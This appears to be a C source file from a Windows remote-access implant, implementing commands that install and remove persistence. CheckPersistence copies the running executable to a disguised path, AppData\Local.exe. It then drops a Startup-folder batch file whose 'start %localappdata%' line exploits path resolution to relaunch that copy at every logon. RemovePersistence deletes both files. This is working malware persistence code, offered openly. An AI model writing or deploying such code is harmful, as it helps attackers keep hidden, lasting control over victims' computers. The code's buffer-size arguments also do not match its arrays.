#include <shlobj.h>
#include <stdio.h>

#include "transport.h"
#include "log.h"

#define BUFFER_SIZE 4096

// For persistence
int fileExists(const char *filePath) {
    DWORD fileAttr = GetFileAttributesA(filePath);
    return (fileAttr != INVALID_FILE_ATTRIBUTES && !(fileAttr & FILE_ATTRIBUTE_DIRECTORY));
}

int copyExecutable(const char *targetPath) {
    char currentPath[BUFFER_SIZE];
    // Get the full path of the running executable
    if (GetModuleFileNameA(NULL, currentPath, BUFFER_SIZE) == 0) {
        return 0; // Failed to get current executable path
    }
    // Copy the executable to the target location
    return CopyFileA(currentPath, targetPath, FALSE); // FALSE allows overwriting
}

// Function to create the batch file for persistence
int createBatchFile(const char *batchPath, const char *exePath) {
    FILE *batchFile = fopen(batchPath, "w");
    if (!batchFile) {
        return 0; // Failed to create the batch file
    }
    // Write the batch script content
    fprintf(batchFile, "start %%localappdata%%\n");    
    fclose(batchFile);
    return 1; // Success
}

void CheckPersistence(char* result) {
    LOG("Checking for existing persistence\n");

    char localAppDataPath[1024];
    char startupPath[1024];
    char exePath[1024];
    char batchPath[1024];

    SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppDataPath);
    snprintf(exePath, BUFFER_SIZE, "%s.exe", localAppDataPath); // C:\Users\<username>\AppData\Local.exe

    SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, startupPath);
    snprintf(batchPath, 1024, "%s\\appdata.bat", startupPath);

    if (fileExists(exePath)) {
        LOG("Executable exists at: %s\n", exePath);
    } 
    else {
        LOG("Executable not found at: %s\n", exePath);
        
        if (copyExecutable(exePath)) {
            LOG("Executable copied to: %s\n", exePath);
        }
        else {
            LOG("Failed to copy executable to: %s\n", exePath);
        sprintf(result, "Failed to copy executable to: %s\n", exePath);
        return;
    }
    }

    if (fileExists(batchPath)) {
        LOG("Batch file exists at: %s\n", batchPath);
    } 
    else {
        LOG("Batch file not found at: %s\n", batchPath);

        if (createBatchFile(batchPath, exePath)) {
            LOG("Batch file created at: %s\n", batchPath);
        }
        else {
            LOG("Failed to create batch file at: %s\n", batchPath);
            sprintf(result, "Failed to create batch file at: %s\n", batchPath);
            return;
        }
    }
    sprintf(result, "Persistance installed\n");
}

void RemovePersistence(char* result) {
    LOG("Removing persistence...\n");

    char localAppDataPath[1024];
    char startupPath[1024];
    char exePath[1024];
    char batchPath[1024];

    SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppDataPath);
    snprintf(exePath, BUFFER_SIZE, "%s.exe", localAppDataPath);

    SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, startupPath);
    snprintf(batchPath, 1024, "%s\\appdata.bat", startupPath);

    BOOL exeDeleted = FALSE;
    BOOL batchDeleted = FALSE;

    if (fileExists(exePath)) {
        if (DeleteFileA(exePath)) {
            LOG("Executable deleted from: %s\n", exePath);
            exeDeleted = TRUE;
        } else {
            LOG_ERROR("Failed to delete executable from: %s (Error: %ld)\n", exePath, GetLastError());
        }
    } else {
        LOG("Executable not found at: %s, skipping deletion.\n", exePath);
    }

    if (fileExists(batchPath)) {
        if (DeleteFileA(batchPath)) {
            LOG("Batch file deleted from: %s\n", batchPath);
            batchDeleted = TRUE;
        } else {
            LOG_ERROR("Failed to delete batch file from: %s (Error: %ld)\n", batchPath, GetLastError());
        }
    } else {
        LOG("Batch file not found at: %s, skipping deletion.\n", batchPath);
    }

    if (exeDeleted || batchDeleted) {
        LOG("Persistence removal process completed.\n");
    } else {
      LOG("No files were found to delete.\n");
    }
    sprintf(result, "Persistance removed or wasn't installed\n");
}